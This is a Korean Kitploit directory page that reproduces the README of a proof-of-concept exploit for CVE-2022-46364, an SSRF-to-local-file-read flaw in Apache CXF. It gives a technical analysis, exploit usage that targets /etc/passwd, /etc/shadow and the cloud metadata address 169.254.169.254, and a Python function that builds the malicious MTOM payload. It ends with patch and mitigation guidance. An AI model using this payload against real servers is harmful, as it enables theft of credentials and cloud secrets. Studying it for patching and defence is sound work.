Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-46364-Proof-of-the-concept — 이 취약점을 통해 공격자는 MTOM/XOP 요청을 수락하는 Apache CXF 웹 서비스에 SSRF(서버 측 요청 위조) 공격을 수행할 수 있습니다. 문제는 xop:Include의 href 속성이 구문 분석되는 방식에 존재하며, 서버가 임의의 URL을 요청할 수 있게 합니다. | Kitploit
도구/GitHubGitHub/cybermaksx/cve-2022-46364-proof-of-the-concept
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubcybermaksx/cve-2022-46364-proof-of-the-concept

CVE-2022-46364-Proof-of-the-concept

이 취약점을 통해 공격자는 MTOM/XOP 요청을 수락하는 Apache CXF 웹 서비스에 SSRF(서버 측 요청 위조) 공격을 수행할 수 있습니다. 문제는 xop:Include의 href 속성이 구문 분석되는 방식에 존재하며, 서버가 임의의 URL을 요청할 수 있게 합니다.

저장소 보기
25개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-46364: Apache CXF MTOM XOP:Include SSRF to LFI 익스플로잇

⚠️ 면책 조항

이 도구는 교육 목적 및 승인된 보안 테스트 전용입니다.

이 개념 증명 익스플로잇은 보안 전문가가 취약점을 이해하고 시스템을 보호할 수 있도록 교육 목적으로 제공됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 저자는 이 도구의 오용이나 손해에 대해 어떠한 책임도 지지 않습니다. 테스트 전에 시스템 소유자로부터 명시적인 서면 허가를 받아야 합니다. 이 도구를 사용함으로써 귀하는 모든 관련 법률을 준수하는 데 동의합니다.


📋 목차

  1. 개요
  2. 취약점 세부 정보
  3. 기술 심층 분석
  4. 익스플로잇 사용법
  5. 설치 및 요구 사항
  6. 완화
  7. 참고 자료 및 크레딧

📌 개요

속성값
CVE IDCVE-2022-46364
GHSA IDGHSA-x3x3-qwjq-8gj4
취약점 유형서버 측 요청 위조(SSRF) → 로컬 파일 포함(LFI)
영향받는 소프트웨어Apache CXF < 3.5.5, Apache CXF < 3.4.10
심각도Critical
CVSS 점수9.8 (Critical)
공격 벡터네트워크
인증 필요없음
패치 버전Apache CXF 3.5.5+, 3.4.10+

이 익스플로잇은 Apache CXF의 MTOM(Message Transmission Optimization Mechanism) 구현에서 중요한 SSRF 취약점을 활용하여 로컬 파일 포함(LFI) 및 내부 네트워크 스캔 기능을 달성합니다.


🔬 취약점 세부 정보

핵심 문제

Apache CXF는 MTOM으로 인코딩된 SOAP 메시지를 처리할 때 xop:Include 요소 내의 href 속성을 잘못 검증합니다. 라이브러리는 프로토콜 제한 없이 Java의 URLConnection을 사용하여 URI를 역참조하므로, 공격자가 다음을 지정할 수 있습니다.

  • file:// - 로컬 파일 읽기(LFI)
  • http:// / https:// - 내부 네트워크 요청(SSRF)
  • ftp:// - FTP 요청(추가 악용 가능)

중요성

이 취약점은 다음과 같은 이유로 특히 위험합니다.

  1. 인증 불필요 - 공격자는 액세스 가능한 모든 SOAP 엔드포인트를 대상으로 할 수 있습니다.
  2. 특별한 권한 불필요 - 서버는 자체 권한으로 요청을 실행합니다.
  3. 정보 노출 - 클라우드 메타데이터(AWS, GCP, Azure), 구성 파일, 소스 코드를 노출할 수 있습니다.
  4. 네트워크 피벗 - 취약한 서버가 내부 네트워크 정찰을 위한 프록시가 됩니다.

영향받는 구성

다음 조건을 충족하는 모든 Apache CXF 배포:

  • MTOM으로 인코딩된 SOAP 메시지를 수락함
  • 매개변수(모든 유형)가 있는 웹 서비스 메서드가 하나 이상 있음
  • 3.5.5(메인 브랜치) 또는 3.4.10(레거시 브랜치) 이전 버전 사용

🧠 기술 심층 분석

프로토콜 배경: MTOM과 XOP

MTOM(Message Transmission Optimization Mechanism)은 SOAP 메시지에서 이진 데이터 전송을 최적화하기 위한 W3C 표준입니다. XOP(XML-binary Optimized Packaging)를 사용하여 이진 데이터 참조를 포함합니다.

root@kitploit:~
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

일반적으로 href는 MIME 부분에 대한 CID(Content-ID) 참조를 포함합니다. 그러나 Apache CXF의 AttachmentUtil 클래스는 적절한 삭제 없이 href 값을 일반 URI로 처리합니다.

취약한 코드 경로

  1. 요청 구문 분석:

    • CXF가 Content-Type: application/xop+xml인 multipart/related HTTP 요청을 수신합니다.
    • AttachmentUtil.getAttachmentObject()가 xop:Include 요소를 처리합니다.
  2. URI 역참조:

    • 취약한 메서드가 new URL(href).openStream()을 직접 호출합니다.
    • file:// 프로토콜 차단이 없습니다.
    • 네트워크 제한이 없습니다(예: 내부 IP 범위에 대한 유효성 검사 없음).
  3. 응답 포함:

    • 가져온 콘텐츠가 Base64로 인코딩되어 SOAP 응답에 포함됩니다.
    • 공격자는 SOAP 봉투에서 데이터를 수신합니다.

코드 조각(취약한 패턴)

root@kitploit:~
// CXF < 3.5.5의 취약한 코드를 단순화한 표현
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // 프로토콜 검증 없음!
    return new DataHandler(url.openStream());
}

LFI가 작동하는 이유

file:// 프로토콜은 동일한 코드 경로를 따릅니다.

  • file:///etc/passwd → Java가 /etc/passwd를 파일 스트림으로 엽니다.
  • 파일 내용이 첨부 파일로 반환됩니다.
  • CXF 프로세스 사용자의 권한 이상의 파일 시스템 제한이 없습니다.

네트워크 스캔 기능

IP와 포트를 반복함으로써 공격자는 다음을 수행할 수 있습니다.

  • 내부 서비스 검색
  • 클라우드 메타데이터 엔드포인트(169.254.169.254)에 접근
  • 네트워크 세분화 제어 우회

🛠️ 익스플로잇 사용법

명령 구문

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - 교육 목적으로만 사용

options:
  -h, --help            이 도움말 메시지를 표시하고 종료
  -t TARGET, --target TARGET
                        대상 기본 URL (예: http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        웹 서비스 엔드포인트 경로 (기본값: /services/Service)
  -u URL, --url URL     SSRF를 위한 외부 URL (예: http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  LFI를 위한 로컬 파일 경로 (예: /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  CIDR 표기법의 내부 네트워크 범위 스캔 (예: 192.168.1.0/24)

인수 설명

인수설명예시
-t, --target필수. 대상 Apache CXF 서비스의 기본 URLhttp://10.10.10.50:8080
-e, --endpoint선택 사항. SOAP 엔드포인트 경로/services/UserManagement
-u, --urlSSRF를 통해 가져올 HTTP/HTTPS URLhttp://169.254.169.254/latest/user-data
-f, --fileLFI를 통해 읽을 로컬 파일 경로/etc/shadow, C:\ProgramData\secret.txt

📦 설치 및 요구 사항

사전 요구 사항

root@kitploit:~
# Python 3.6 이상 필요
python --version

설치 단계

root@kitploit:~
# 저장소 복제
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### 요구 사항

requests>=2.28.0 urllib3>=1.26.0

root@kitploit:~

---

### 핵심 구현 세부 정보

#### 1. MTOM 페이로드 구성
```python
def create_mtom_payload(uri):
    """xop:Include가 포함된 multipart/related MTOM 메시지 생성"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ 완화

공식 수정

패치된 버전으로 업그레이드하세요.

root@kitploit:~
<!-- Maven 프로젝트의 경우 -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- 또는 레거시의 경우 3.4.10 -->
</dependency>

대체 방법 (패치가 불가능한 경우)

  1. MTOM을 완전히 비활성화(필요하지 않은 경우):

    root@kitploit:~
    <jaxws:endpoint ...>
        <jaxws:properties>
            <entry key="mtom-enabled" value="false"/>
        </jaxws:properties>
    </jaxws:endpoint>
    
  2. 네트워크 수준 제어:

    • CXF 애플리케이션 서버에서 나가는 연결 제한
    • 방화벽을 사용하여 애플리케이션 계층에서 내부 IP 범위에 대한 접근 차단
    • 이그레스 필터링 구현
  3. 웹 애플리케이션 방화벽(WAF) 규칙:

    • href가 file:// 또는 내부 IP 주소를 가리키는 xop:Include가 포함된 요청 차단

📚 참고 자료 및 크레딧

원본 연구자

이 취약점은 다음 연구자에 의해 발견되고 책임감 있게 공개되었습니다.

  • Jonathan Leitschuh - 보안 연구원
  • Nick Tait - 보안 연구원

공식 권고

  • Apache CXF Security Advisory
  • GitHub Advisory Database: GHSA-x3x3-qwjq-8gj4
  • NVD: CVE-2022-46364

관련 자료

  • MTOM Specification (W3C)
  • XOP Specification (W3C)
  • Apache CXF Documentation

감사의 말

  • 신속한 대응과 패치를 제공한 Apache CXF 팀
  • 권고를 게시한 GitHub Security Lab
  • 책임감 있는 공개 관행을 위한 보안 커뮤니티

📄 라이선스

이 도구는 교육 목적으로만 제공됩니다. 무단 사용은 금지됩니다.

root@kitploit:~
이 소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하여
명시적이든 묵시적이든 어떠한 종류의 보증도 제공되지 않습니다. 어떠한 경우에도 저자 또는 저작권 보유자는
계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.
이는 소프트웨어의 사용 또는 기타 거래와 관련하여 발생하는 모든 것입니다.

마지막 업데이트: 2026년 3월
버전: 1.0
연락처: 보안 문제나 질문이 있으면 GitHub에서 이슈를 열어 주십시오.


이 문서는 책임 있는 보안 연구의 일부입니다. 테스트 전에 항상 적절한 승인을 받으십시오.

도구 다운로드